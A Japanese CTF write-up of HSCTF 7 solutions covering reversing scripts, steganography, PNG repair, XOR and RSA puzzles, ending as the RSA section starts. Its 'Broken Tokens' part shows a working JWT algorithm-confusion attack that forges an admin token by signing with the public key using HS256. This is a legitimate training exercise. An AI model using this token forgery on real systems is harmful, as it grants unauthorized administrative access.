HSCTF 7 Writeup

この大会は2020/6/1 21:00(JST)~2020/6/6 9:00(JST)に開催されました。
今回もチームで参戦。結果は5455点で1466チーム中70位でした。
自分で解けた問題をWriteupとして書いておきます。

Does CTFd Work? (Miscellaneous)

問題にフラグが書いてあった。

flag{y3S_i7_d03s_3xcl4m4710n_m4rk_890d9a0b}

Discord Flag (Miscellaneous)

Disordに入り、#generalチャネルのトピックを見ると、フラグが書いてあった。

flag{good_luck_have_fun}

Primes (Miscellaneous)

ランダムに見える文字列だが、"{" や "}"が入っている。

fe7l1Owa85YA9g8CELs3F{H11s1o258p6hOo77di7Y0V83M...
*  *   *     *       *
 2  3   5     7

どうやら小さい順に素数の分だけ間を開けて読めばよさそう。

import gmpy2

primes = 'fe7l1Owa85YA9g8CELs3F{H11s1o258p6hOo77di7Y0V83M1feBdNeP3QuS9G7LVjd8EZUei9NOi3p3p9jKcbiUYsy4zA6P88Y7NP73jiLFW4nl8m6xN3LcHttxA2ML73J68g2PtR52926v1sDi22KE9VhBT8kgc26581q2pP77_bTZ6XPBR3iRT7Jbo9YvsEUiXE6Lv4y790z5wu145p6W8Mc6l38tCBPfCq30P7fXD2652g1INKDF3EeUnXm6gLUWOZ9NKhFr19gAaVldd7FkjlMuqSaNW3E0BEt4_6y8C35pI6y7IWQoimXQgkIZTR19Z21e33er4YENvt4paILApj4nwPiDpLFJP8UP0wTZNGN2grACDd6h5MfTWlxpdY8iF79uK38Rn7lFzU15Y6gTA2FSz5163C4eWTI80c5o9OANDD6WZ0T8M5SC42t6CANB4rDNJH49J9aQQdE6ylWR23c7337ex7vp4KLI9xYpvBDC0E7VgSZXkE186uDA93lMRNeZ1ynL31hntD9vZQ4V18sd9lWyt433B2jX843A77E8Sl22ds46y640C1q3QthAov3LuB24n9nq3y5f0pJ9E67ECu5g8w29PIuUR2VLhwX1b3IdhykJ8p8mimNxRPYrGEnMeXoWulV0tTtz_DBz56b3GXi29LWfyw0AkSDIYCG583yCQcEepP1Sj8LL76R0tKMo38K099uGz17S8N84e1h1Z5576xa0u46e083hHN2m368wN34Eigw5VjG1Gh315UqjQr9ff3Ip0m82m8Rm8JT380miS8aC61zS2K4W6o1ymg0nWB977XNc0iu7ee9b142UJhprY4Hh35s1TaKc221Q2ip1KX02p6ny96Ay3TIyn9m30qXxc4lKQZxK899BhD98RuX32B03dJUi5iL3kQA0B0o4D4Tgq4FTD5JNKJg8Kg5aibRsn9GeOq3E8big7nPKWqUM8SlHd70iHD8Ciw4XhntUTM9dBPPspkbYL783096NUMRG766Av9A4B3fn1o2CYTO9sG8u2Kqk0VekGq20inkHM141pogz69Ng91dnk5wWQRJ8i0Q14MtfFA0hORWW775bM0jJ2R1sb24KhbbD42V1Qb5s9N36fZ2BpFJR7mR6cKE8Ot7drG92BQ692PLrPbHfbV8QxH4rc9SpTb5RGchC5kB5}c1CHsMd05v3Fmo3YeT7EaduRD2Q6eOrKbAWn'

i = 0
p = 1
flag = ''
while True:
    flag += primes[i]
    p = gmpy2.next_prime(p)
    i += p + 1
    if i >= len(primes):
        break
print flag
flag{h1din9_1n_pl41n_519ht}

Pythagorean Tree Fractal 1 (Algorithms)

Stage 1 = 1
Stage 2 = 1 + 2
Stage 3 = 1 + 2 + 4

Stage N = 1 + 2 + 4 + ... + 2**(N-1)

等比級数の和になるので、2**N - 1と表せる。
N=50の場合はこうなる。

>>> 2**50-1
1125899906842623L
flag{1125899906842623}

AP Lab: Computer Science Principles (Reverse Engineering)

javaのコードが添付されている。このコードを見ると、inpに対して、以下の条件を満たすものを求める必要があることがわかる。

・長さ18
・shift->shift2が"inagzgkpm)Wl&Tg&io"

shift:ASCIIコードをインデックスだけマイナスした文字
shift2:ASCIIコードをASCIIコードの桁数だけプラス(2or3)

逆算してinp(=flag)を求める。

def rev_shift(s):
    d = ''
    for i in range(len(s)):
        code = ord(s[i]) + i
        d += chr(code)
    return d

def rev_shift2(s):
    d = ''
    for c in s:
        code = ord(c) - 2
        if len(str(code)) == 2:
            d += chr(code)
        else:
            code -= 1
            if len(str(code)) == 3:
                d += chr(code)
            else:
                print 'error'
                return ''
    return d

enc = 'inagzgkpm)Wl&Tg&io'

flag = rev_shift(rev_shift2(enc))
print flag
flag{intr0_t0_r3v}

AP Lab: English Language (Reverse Engineering)

javaのコードが添付されている。このコードを見ると、inpに対して、以下の条件を満たすものを求める必要があることがわかる。

・長さ23
・以下を3回繰り返し、その結果が"1dd3|y_3tttb5g`q]^dhn3j"になる。
 transpose()
 xor()

trancepose: 置換
xor: XOR

逆算してinp(=flag)を求める。

def rev_transpose(s):
    tbl = [11, 18, 15, 19, 8, 17, 5, 2, 12, 6, 21, 0, 22, 7, 13, 14, 4,
        16, 20, 1, 3, 10, 9]
    d = ''
    for i in range(len(s)):
        d += s[tbl.index(i)]
    return d

def xor(s):
    keys = [4, 1, 3, 1, 2, 1, 3, 0, 1, 4, 3, 1, 2, 0, 1, 4, 1, 2, 3, 2,
        1, 0, 3]
    d = ''
    for i in range(len(s)):
        d += chr(ord(s[i]) ^ keys[i])
    return d

enc = '1dd3|y_3tttb5g`q]^dhn3j'

flag = enc
for i in range(3):
    flag = xor(flag)
    flag = rev_transpose(flag)

print flag
flag{n0t_t00_b4d_r1ght}

Recursion Reverse (Reverse Engineering)

javaのコードが添付されている。このコードを見ると、guessに対して、以下の条件を満たすものを求める必要があることがわかる。

・長さ12
・flagTransformed()の結果、"I$N]=6YiVwC"になる。

flagはflag{<guess>}の形式

javaだと、pickNumは現実的な時間で返ってくるので、そのまま逆算して元の文字列を求める。

public class Solve {
    static int num = 0;

    public static void main(String[] args) {
        String target = "I$N]=6YiVwC";
        char[] temp = target.toCharArray();

        char[] transformed = new char[12];
        for(int i = 11; i >= 0; i--)
            transformed[11-i] = temp[i];

        System.out.print("flag{");
        for(int i = 0; i < 12; i++) {
            num = 1;
            int code = ((((int)transformed[i] - pickNum(i + 1)) % 127) + 127) % 127;
            System.out.print((char)code);
        }
        System.out.println("}");
    }

    private static int pickNum(int i) {
        
        for(int x = 0; x <= i; x++)
            num+=x;
        
        if(num % 2 == 0)
            return num;
        else 
            num = pickNum(num);
        
        return num;
    }
}
flag{AscII is key}

Ice Cream Bytes (Reverse Engineering)

javaのコードが添付されている。このコードを見ると、userInputに対して以下の条件を満たすものを求める必要があることがわかる。

userInput: flag{}を含んだ文字列
input: flag{}を外した文字列
loadBytes: 以下を順に行った後のbyte文字列
・strawberryShuffle
・vanillaShuffle
・chocolateShuffle
・toppings

correctBytes: fillMachineを実行してあられた固定byte文字列
loadBytesと同じなら、入力文字列は正しい。

■strawberryShuffle
・逆順にする。

■vanillaShuffle
・偶数番目の文字は1プラス
・奇数番目の文字は1マイナス

■chocolateShuffle
・偶数番目の文字は右へ2シフト
・奇数番目の文字は左へ2シフト

■toppings
・toppingのbyte配列だけプラス

toppingsから逆に戻していく。

import java.io.*;
import java.nio.file.*;

public class Solve {
    public static void main(String[] args) throws IOException {
        Path path = Paths.get("IceCreamManual.txt");
        byte[] manualBytes = Files.readAllBytes(path);

        byte[] correctBytes = fillMachine(manualBytes);
        byte[] input = strawberryShuffle(rev_vanillaShuffle(rev_chocolateShuffle(rev_toppings(correctBytes))));
        System.out.println(String.format("flag{%s}", new String(input)));
    }

    public static byte[] fillMachine(byte[] inputIceCream) {
        byte[] outputIceCream = new byte[34];
        int[] intGredients = {27, 120, 79, 80, 147, 
            154, 97, 8, 13, 46, 31, 54, 15, 112, 3, 
            464, 116, 58, 87, 120, 139, 75, 6, 182, 
            9, 153, 53, 7, 42, 23, 24, 159, 41, 110};
        for (int i = 0; i < outputIceCream.length; i++) {
            outputIceCream[i] = inputIceCream[intGredients[i]];
        }
        return outputIceCream;
    }

    public static byte[] strawberryShuffle(byte[] inputIceCream) {
        byte[] outputIceCream = new byte[inputIceCream.length];
        for (int i = 0; i < outputIceCream.length; i++) {
            outputIceCream[i] = inputIceCream[inputIceCream.length - i - 1];
        }
        return outputIceCream;
    }

    public static byte[] rev_vanillaShuffle(byte[] inputIceCream) {
        byte[] outputIceCream = new byte[inputIceCream.length];
        for (int i = 0; i < outputIceCream.length; i++) {
            if (i % 2 == 0) {
                outputIceCream[i] = (byte)(inputIceCream[i] - 1);
            } else {
                outputIceCream[i] = (byte)(inputIceCream[i] + 1);
            }
        }
        return outputIceCream;
    }

    public static byte[] rev_chocolateShuffle(byte[] inputIceCream) {
        byte[] outputIceCream = new byte[inputIceCream.length];
        for (int i = 0; i < outputIceCream.length; i++) {
            if (i % 2 == 0) {
                if (i < outputIceCream.length - 3) {
                    outputIceCream[i] = inputIceCream[i + 2];
                } else {
                    outputIceCream[i] = inputIceCream[0];
                }
            } else {
                if (i > 1) {
                    outputIceCream[i] = inputIceCream[i - 2];
                } else {
                    outputIceCream[i] = inputIceCream[inputIceCream.length - 1];
                }
            }
        }
        return outputIceCream;
    }

    public static byte[] rev_toppings(byte[] inputIceCream) {
        byte[] outputIceCream = new byte[inputIceCream.length];
        byte[] toppings = {8, 61, -8, -7, 58, 55, 
            -8, 49, 20, 65, -7, 54, -8, 66, -9, 69, 
            20, -9, -12, -4, 20, 5, 62, 3, -13, 66, 
            8, 3, 56, 47, -5, 13, 1, -7,};
        for (int i = 0; i < outputIceCream.length; i++) {
            outputIceCream[i] = (byte)(inputIceCream[i] - toppings[i]);
        }
        return outputIceCream;

    }
}
flag{ic3_cr34m_byt3s_4r3_4m4z1n9_tr34ts}

dis (Reverse Engineering)

Pythonアセンブリが添付されている。

Disassembly of a:
  3           0 LOAD_CONST               1 (0)
              2 BUILD_LIST               1
              4 LOAD_GLOBAL              0 (len)
              6 LOAD_FAST                0 (s)
              8 CALL_FUNCTION            1
             10 BINARY_MULTIPLY
             12 STORE_FAST               1 (o)

  4          14 LOAD_GLOBAL              1 (enumerate)
             16 LOAD_FAST                0 (s)
             18 CALL_FUNCTION            1
             20 GET_ITER
        >>   22 FOR_ITER                24 (to 48)
             24 UNPACK_SEQUENCE          2
             26 STORE_FAST               2 (i)
             28 STORE_FAST               3 (c)

  5          30 LOAD_FAST                3 (c)
             32 LOAD_CONST               2 (2)
             34 BINARY_MULTIPLY
             36 LOAD_CONST               3 (60)
             38 BINARY_SUBTRACT
             40 LOAD_FAST                1 (o)
             42 LOAD_FAST                2 (i)
             44 STORE_SUBSCR
             46 JUMP_ABSOLUTE           22

  6     >>   48 LOAD_FAST                1 (o)
             50 RETURN_VALUE

Disassembly of b:
  9           0 LOAD_GLOBAL              0 (zip)
              2 LOAD_FAST                0 (s)
              4 LOAD_FAST                1 (t)
              6 CALL_FUNCTION            2
              8 GET_ITER
        >>   10 FOR_ITER                22 (to 34)
             12 UNPACK_SEQUENCE          2
             14 STORE_FAST               2 (x)
             16 STORE_FAST               3 (y)

 10          18 LOAD_FAST                2 (x)
             20 LOAD_FAST                3 (y)
             22 BINARY_ADD
             24 LOAD_CONST               1 (50)
             26 BINARY_SUBTRACT
             28 YIELD_VALUE
             30 POP_TOP
             32 JUMP_ABSOLUTE           10
        >>   34 LOAD_CONST               0 (None)
             36 RETURN_VALUE

Disassembly of c:
 13           0 LOAD_CONST               1 (<code object <listcomp> at 0x7ff31a16f0e0, file "vuln.py", line 13>)
              2 LOAD_CONST               2 ('c.<locals>.<listcomp>')
              4 MAKE_FUNCTION            0
              6 LOAD_FAST                0 (s)
              8 GET_ITER
             10 CALL_FUNCTION            1
             12 RETURN_VALUE

Disassembly of <code object <listcomp> at 0x7ff31a16f0e0, file "vuln.py", line 13>:
 13           0 BUILD_LIST               0
              2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                12 (to 18)
              6 STORE_FAST               1 (c)
              8 LOAD_FAST                1 (c)
             10 LOAD_CONST               0 (5)
             12 BINARY_ADD
             14 LIST_APPEND              2
             16 JUMP_ABSOLUTE            4
        >>   18 RETURN_VALUE

Disassembly of e:
 16           0 LOAD_CONST               1 (<code object <listcomp> at 0x7ff31a16f240, file "vuln.py", line 16>)
              2 LOAD_CONST               2 ('e.<locals>.<listcomp>')
              4 MAKE_FUNCTION            0
              6 LOAD_FAST                0 (s)
              8 GET_ITER
             10 CALL_FUNCTION            1
             12 STORE_FAST               0 (s)

 17          14 LOAD_CONST               3 (<code object <listcomp> at 0x7ff31a16f2f0, file "vuln.py", line 17>)
             16 LOAD_CONST               2 ('e.<locals>.<listcomp>')
             18 MAKE_FUNCTION            0
             20 LOAD_GLOBAL              0 (b)
             22 LOAD_GLOBAL              1 (a)
             24 LOAD_FAST                0 (s)
             26 CALL_FUNCTION            1
             28 LOAD_GLOBAL              2 (c)
             30 LOAD_FAST                0 (s)
             32 CALL_FUNCTION            1
             34 CALL_FUNCTION            2
             36 GET_ITER
             38 CALL_FUNCTION            1
             40 STORE_FAST               1 (o)

 18          42 LOAD_GLOBAL              3 (bytes)
             44 LOAD_FAST                1 (o)
             46 CALL_FUNCTION            1
             48 RETURN_VALUE

Disassembly of <code object <listcomp> at 0x7ff31a16f240, file "vuln.py", line 16>:
 16           0 BUILD_LIST               0
              2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                12 (to 18)
              6 STORE_FAST               1 (c)
              8 LOAD_GLOBAL              0 (ord)
             10 LOAD_FAST                1 (c)
             12 CALL_FUNCTION            1
             14 LIST_APPEND              2
             16 JUMP_ABSOLUTE            4
        >>   18 RETURN_VALUE

Disassembly of <code object <listcomp> at 0x7ff31a16f2f0, file "vuln.py", line 17>:
 17           0 BUILD_LIST               0
              2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                16 (to 22)
              6 STORE_FAST               1 (c)
              8 LOAD_FAST                1 (c)
             10 LOAD_CONST               0 (5)
             12 BINARY_XOR
             14 LOAD_CONST               1 (30)
             16 BINARY_SUBTRACT
             18 LIST_APPEND              2
             20 JUMP_ABSOLUTE            4
        >>   22 RETURN_VALUE

Disassembly of main:
 21           0 LOAD_GLOBAL              0 (input)
              2 LOAD_CONST               1 ('Guess?')
              4 CALL_FUNCTION            1
              6 STORE_FAST               0 (s)

 22           8 LOAD_CONST               2 (b'\xae\xc0\xa1\xab\xef\x15\xd8\xca\x18\xc6\xab\x17\x93\xa8\x11\xd7\x18\x15\xd7\x17\xbd\x9a\xc0\xe9\x93\x11\xa7\x04\xa1\x1c\x1c\xed')
             10 STORE_FAST               1 (o)

 23          12 LOAD_GLOBAL              1 (e)
             14 LOAD_FAST                0 (s)
             16 CALL_FUNCTION            1
             18 LOAD_FAST                1 (o)
             20 COMPARE_OP               2 (==)
             22 POP_JUMP_IF_FALSE       34

 24          24 LOAD_GLOBAL              2 (print)
             26 LOAD_CONST               3 ('Correct!')
             28 CALL_FUNCTION            1
             30 POP_TOP
             32 JUMP_FORWARD             8 (to 42)

 26     >>   34 LOAD_GLOBAL              2 (print)
             36 LOAD_CONST               4 ('Wrong...')
             38 CALL_FUNCTION            1
             40 POP_TOP
        >>   42 LOAD_CONST               0 (None)
             44 RETURN_VALUE

Pythonコードに戻すと、以下のようになる。

def a(s):
    o = [0] * len(s)
    for i, c in enumerate(s):
        o[i] = c * 2 - 60
    return o

def b(s, t):
    for x, y in zip(s, t):
        yield x + y - 50

def c(s):
    return [c + 5 for c in s]

def e(s):
    s = [ord(c) for c in s]
    o = [(c ^ 5) - 30 for c in b(a(s), c(s))]
    return bytes(o)

def main():
    s = input('Guess?')
    o = b'\xae\xc0\xa1\xab\xef\x15\xd8\xca\x18\xc6\xab\x17\x93\xa8\x11\xd7\x18\x15\xd7\x17\xbd\x9a\xc0\xe9\x93\x11\xa7\x04\xa1\x1c\x1c\xed'
    if e(s) == o:
        print('Correct!')
    else:
        print('Wrong...')

1文字ごとにしか計算しないので、ブルートフォースで1文字ずつ割り出す。

def a_chr(c):
    return c * 2 - 60

def b_chr(c1, c2):
    return c1 + c2 - 50

def c_chr(c):
    return c + 5

def e_chr(c):
    return chr(((b_chr(a_chr(c), c_chr(c)) ^ 5) - 30) % 256)

enc = '\xae\xc0\xa1\xab\xef\x15\xd8\xca\x18\xc6\xab\x17\x93\xa8\x11\xd7\x18\x15\xd7\x17\xbd\x9a\xc0\xe9\x93\x11\xa7\x04\xa1\x1c\x1c\xed'

flag = ''
for i in range(len(enc)):
    for code in range(32, 127):
        if e_chr(code) == enc[i]:
            flag += chr(code)
            break
print flag
flag{5tr4ng3_d1s45s3mbly_1c0a88}

Blurry Eyes (Web Exploitation)

Webページに何かぼやけているところがある。HTMLソースを見ると、こうなっている。

    <h4>Anyways, the flag that you need for this cha<span class="blur">llenge is: <span
          class="poefKuKjNPojzLDf"></span></span></h4>

style.cssでpoefKuKjNPojzLDfクラスのところを見てみる。

.poefKuKjNPojzLDf:after {
	content: "f" "l" "a" "g" "{" "g" "l" "a" "s" "s" "e" "s" "_" "a" "r" "e" "_" "u" "s" "e" "f" "u" "l" "}" ;
}
flag{glasses_are_useful}

Inspector Gadget (Web Exploitation)

HTMLソースのコメントにフラグが書いてあった。

flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t}

Broken Tokens (Web Exploitation)

適当な認証情報でログインすると、guestユーザでログインできる。クッキーのauthキーには以下のデータがセットされていた。

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw
$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"RS256"}

$ echo eyJhdXRoIjoiZ3Vlc3QifQ== | base64 -d
{"auth":"guest"}

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20TokenにRS256をHS256にして、公開鍵で認証をすり抜けることができる脆弱性が載っていた。
この情報を元にHS256アルゴリズム版のtokenを作成する。

import jwt

pubkey = open('publickey.pem', 'r').read()

token = jwt.encode({"auth":"admin"}, key=pubkey, algorithm='HS256')
print(token)

作成したtokenは以下の通り。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoIjoiYWRtaW4ifQ.RG-s7yRSjs3K9TqG-4pllqKY4PxnPPLxvZhAaDPRreE

これをクッキーのauthキーに設定して、リロードすると、フラグが表示された。

flag{1n53cur3_tok3n5_5474212}

Very Safe Login (Web Exploitation)

HTMLソースを見ると、認証情報がわかる。

    <script>
        var login = document.login;

        function submit() {
            const username = login.username.value;
            const password = login.password.value;
            
            if(username === "jiminy_cricket" && password === "mushu500") {
                showFlag();
                return false;
            }
            return false;
        }
    </script>

以下でログインすると、フラグが表示された。

Username: jiminy_cricket
Password: mushu500
flag{cl13nt_51de_5uck5_135313531}

Meta Mountains (Forensics)

$ exiftool mountains_hsctf.jpg ExifTool Version Number         : 10.80
File Name                       : mountains_hsctf.jpg
Directory                       : .
File Size                       : 5.3 MB
File Modification Date/Time     : 2020:06:01 21:41:47+09:00
File Access Date/Time           : 2020:06:01 21:42:24+09:00
File Inode Change Date/Time     : 2020:06:01 21:41:47+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Little-endian (Intel, II)
Compression                     : JPEG (old-style)
Make                            : Canon
Camera Model Name               : part 1/3: flag{h1dd3n_w1th1n_★
Orientation                     : Horizontal (normal)
X Resolution                    : 180
Y Resolution                    : 180
Resolution Unit                 : inches
Software                        : part 2/3: th3_m0unta1ns_★
Modify Date                     : 2012:02:03 11:18:05
Artist                          : part 3/3: l13s_th3_m3tadata}★
Y Cb Cr Positioning             : Centered
Exposure Time                   : 1/160
F Number                        : 13.0
Exif Version                    : 0220
Date/Time Original              : 2006:09:17 08:01:17
Create Date                     : 2006:09:17 08:01:17
Components Configuration        : Y, Cb, Cr, -
Compressed Bits Per Pixel       : 5
Shutter Speed Value             : 1/159
Aperture Value                  : 13.0
Exposure Compensation           : 0
Max Aperture Value              : 4.9
Metering Mode                   : Multi-segment
Focal Length                    : 23.1 mm
Flashpix Version                : 0100
Color Space                     : Uncalibrated
Exif Image Width                : 2971
Exif Image Height               : 1615
Focal Plane X Resolution        : 10816.90141
Focal Plane Y Resolution        : 10816.90141
Focal Plane Resolution Unit     : inches
Sensing Method                  : One-chip color area
File Source                     : Digital Camera
Custom Rendered                 : Normal
Exposure Mode                   : Auto
White Balance                   : Auto
Digital Zoom Ratio              : 1
Scene Capture Type              : Standard
Thumbnail Offset                : 880
Thumbnail Length                : 5752
XMP Toolkit                     : Image::ExifTool 11.50
Format                          : image/jpeg
Date/Time Digitized             : 2006:09:17 08:01:17-07:00
Native Digest                   : 36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;384FCE14B1C853B45798C1EF99200B01
Color Mode                      : RGB
ICC Profile Name                : HP w22 LCD Monitor
Photometric Interpretation      : RGB
Planar Configuration            : Chunky
Samples Per Pixel               : 3
Creator Tool                    : Adobe Photoshop CS3 Windows
Metadata Date                   : 2008:08:03 15:49:10-07:00
Derived From                    : .
Document ID                     : uuid:5B089736AE61DD11A70DFF3F4A45E46D
Instance ID                     : uuid:5C089736AE61DD11A70DFF3F4A45E46D
History                         : 
Image Width                     : 2971
Image Height                    : 1615
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Aperture                        : 13.0
Flash                           : No Flash
Image Size                      : 2971x1615
Megapixels                      : 4.8
Scale Factor To 35 mm Equivalent: 4.8
Shutter Speed                   : 1/160
Thumbnail Image                 : (Binary data 5752 bytes, use -b option to extract)
Circle Of Confusion             : 0.006 mm
Field Of View                   : 18.4 deg
Focal Length                    : 23.1 mm (35 mm equivalent: 110.8 mm)
Hyperfocal Distance             : 6.56 m

EXIF情報の中にフラグが散りばめられていた。

flag{h1dd3n_w1th1n_th3_m0unta1ns_l13s_th3_m3tadata}

Mad Libs (Forensics)

Stegsolveで開き、[Analyse]-[Data Extract]からRGBのLSBのみをチェックすると、文章が出てきた。

flag{v3rB_n0uN_adj3ct1v3}

Hi everyone. I'm Daniel Wang and I'm flipping water bottles to be your member for BSI Cyanoacrylate Club next year. As a word of the finite field, my traffic lights next year will be to leak, rage quit, table flip, and most importantly, cheat in CTFs. In addition want to keep the paper of the members of the club in my mind and make sure every single one of your cryptosystems are protesting and well represented among the republicans.
flag{v3rB_n0uN_adj3ct1v3}

Comments (Forensics)

7-zipでzipコメントを見ていく。

1.zip: f
2.zip: l
3.zip: a
4.zip: g
5.zip: {
6.zip: 4
7.zip: n
8.zip: 6
flag.txt: }
flag{4n6}

Evil Stego (Forensics)

$ zsteg out.png
imagedata           .. text: "\t\t\t\n\t\n\n\t\n"
b1,r,lsb,xy         .. text: "https://github.com/evil-steganography/evil-stego-1"
b2,g,lsb,xy         .. file: SoftQuad DESC or font file binary - version 4005
b2,g,msb,xy         .. file: VISX image file
b2,b,lsb,xy         .. text: "UUUUUUUUUUUUo"
b2,b,msb,xy         .. text: "_UUUUUUUU"
b4,g,lsb,xy         .. file: 5View capture file
b4,g,msb,xy         .. file: VISX image file
b4,b,lsb,xy         .. text: "eDDDDDDW"
b4,b,msb,xy         .. text: "&\"\"\"\"\"\"ff*\"\"\""

https://github.com/evil-steganography/evil-stego-1にmain.pyがある。この画像のエンコード処理の概要は以下の通り。

・encode
 ・新画像は元画像の幅で、高さ3倍
 ・seed = [ランダム8bit整数]*4
  →byte(seed)をrandomのseed設定
 ・valid_spots = [(0, 0, 0), (1, 0, 0), ..., (0, 1, 0), (1, 1, 0), ..., (0, 0, 1), ...]
 ・metadata設定([固定文字列]+[seed]+[size(pack)])
 ・metadataを1bitずつ順にLSBに設定
 ・messageを1bitずつ順にLSBに設定

以上からLSBからデータを取り出し、フラグを抽出する。

#!/usr/bin/env python3
from PIL import Image
from struct import unpack
import random

def bin_to_bytes(b):
    s = b''
    for i in range(0, len(b), 8):
        code = int(b[i:i+8], 2)
        s += code.to_bytes(1, byteorder='little')
    return s

img = Image.open('out.png').convert('RGB')
w, h = img.size

valid_spots = []
for channel in range(3):
    for y in range(h):
        for x in range(w):
            valid_spots.append((x, y, channel))

metadata_size = len(b'\x90\xbfhttps://github.com/evil-steganography/evil-stego-1') + 8

b_metadata = ''
for i in range(metadata_size * 8):
    val = valid_spots[i]
    rgb = img.getpixel((val[0], val[1]))
    b_metadata += str(rgb[val[2]] & 1)

metadata = bin_to_bytes(b_metadata)

assert metadata[:-8] == b'\x90\xbfhttps://github.com/evil-steganography/evil-stego-1'
seed = metadata[-8:-4]
size = unpack('<I',metadata[-4:])[0]

random.seed(seed)
c = metadata_size * 8
locations = random.sample(valid_spots[c:], size * 8 + 1)

b_message = ''
for i in range(size * 8):
    val = locations[i]
    rgb = img.getpixel((val[0], val[1]))
    b_message += str(rgb[val[2]] & 1)

message = bin_to_bytes(b_message)
print(message)
flag{4b50lu73ly_b4rb4r1c_1403379d}

Picture Lab Activity 10 (Forensics)

PNGの形式が壊れているように見える。バイナリエディタで以下の箇所を修正する。

00000000-00000003 89 50 4e 47
0000000C          49
0000000E          44
00000026          44
00000028          54
0003DD2E-0003DD30 45 4E 44

PNG画像にフラグが書いてあった。
f:id:satou-y:20200610214934p:plain

flag{and_y0u_th0ught_p1ctur3_l4b_was_h4rd}

XORed (Cryptography)

Key 1 = 5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533 (=A)
Key 1 ^ Key 3 = 9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b (=B)
Key 2 ^ Key 3 ^ Key 5 = 557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05 (=C)
Key 1 ^ Key 4 ^ Key 5 = 7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb (=D)
Key 3 ^ Key 4 = 996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a (=E)
Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5 = 306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139 (=F)

以下のように順に割り出していく。

Key1 = A
Key3 = Key1 ^ B
Key4 = Key3 ^ E
Key5 = Key1 ^ Key4 ^ D
Key2 = Key3 ^ Key5 ^ C
Flag = Key1 ^ Key2 ^ Key3 ^ Key4 ^ Key5 ^ F
from Crypto.Util.number import *

A = 0x5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533
B = 0x9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b
C = 0x557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05
D = 0x7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb
E = 0x996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a
F = 0x306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139

Key1 = A
Key3 = Key1 ^ B
Key4 = Key3 ^ E
Key5 = Key1 ^ Key4 ^ D
Key2 = Key3 ^ Key5 ^ C
Flag = Key1 ^ Key2 ^ Key3 ^ Key4 ^ Key5 ^ F

flag = long_to_bytes(Flag)
print flag
flag{n0t_t00_h4rD_h0p3fully}

Unexpected (Cryptography)

互いに最大公約数を取れば素因数分解できる。あとはそれぞれそのまま復号し、結合するとフラグになる。

from Crypto.Util.number import *

N1 = 3895738302299059518129198422310169628530536557191890566210939781698372336257482186582163630847612416277492034959243510457939210010336159061758606919109259916143600981918456942199762738624796190838889500238780675229383463267807384154074134251073572174392024892486431125499446924573006208711810847272390619510395812856188247531815920797526102562723333957594242603466996229335924848954210939152042149332307810693239925149256224795031982752752336401872520016106145667479144091130160998875256860809091721275069193773739370057334041922519998813268278574260846083883264261920589114740823464192397850923545998904365370408113
N2 = 3036683903819675505741091164945461947189004916494633766372176282409409694958701211748277050499101511956962003835932755555293255586827283990400451317444723234406968971873530093281591689832798646915816609347861047534121792409030834659241904646743453387504496246791081682741245482378149293399372654558929658582070853972454887854658545741800574343930155288517185535533201220281739954820271979667081052363406511938025061398551356675540358212449132781674832812796443378476387659729623581274433769056775163718782871879747276327458473970177451591251859530403032170215968101310739004163533767679394201611410832974546802038041
N3 = 4793455677299549137382284585015750073239112414361680529255951318217960300841340399094743130287927996565298160174555422185410320841942637374406558835150138631140265626020072464652973386772727192540062051929655235552439145036105501434801984612127808829810146844869487529177642676245549299371487478280457673839725488195812744535928488844735950540356920273038857127652414836352483913807655170699520816765863272825856765769043174406026964068017257738085400965661973681558654658747878342173984592411085018242201038877382766239487564503728442821348064764166024851080258629751476765613997512620274759264076272801682962144457
E = 65537
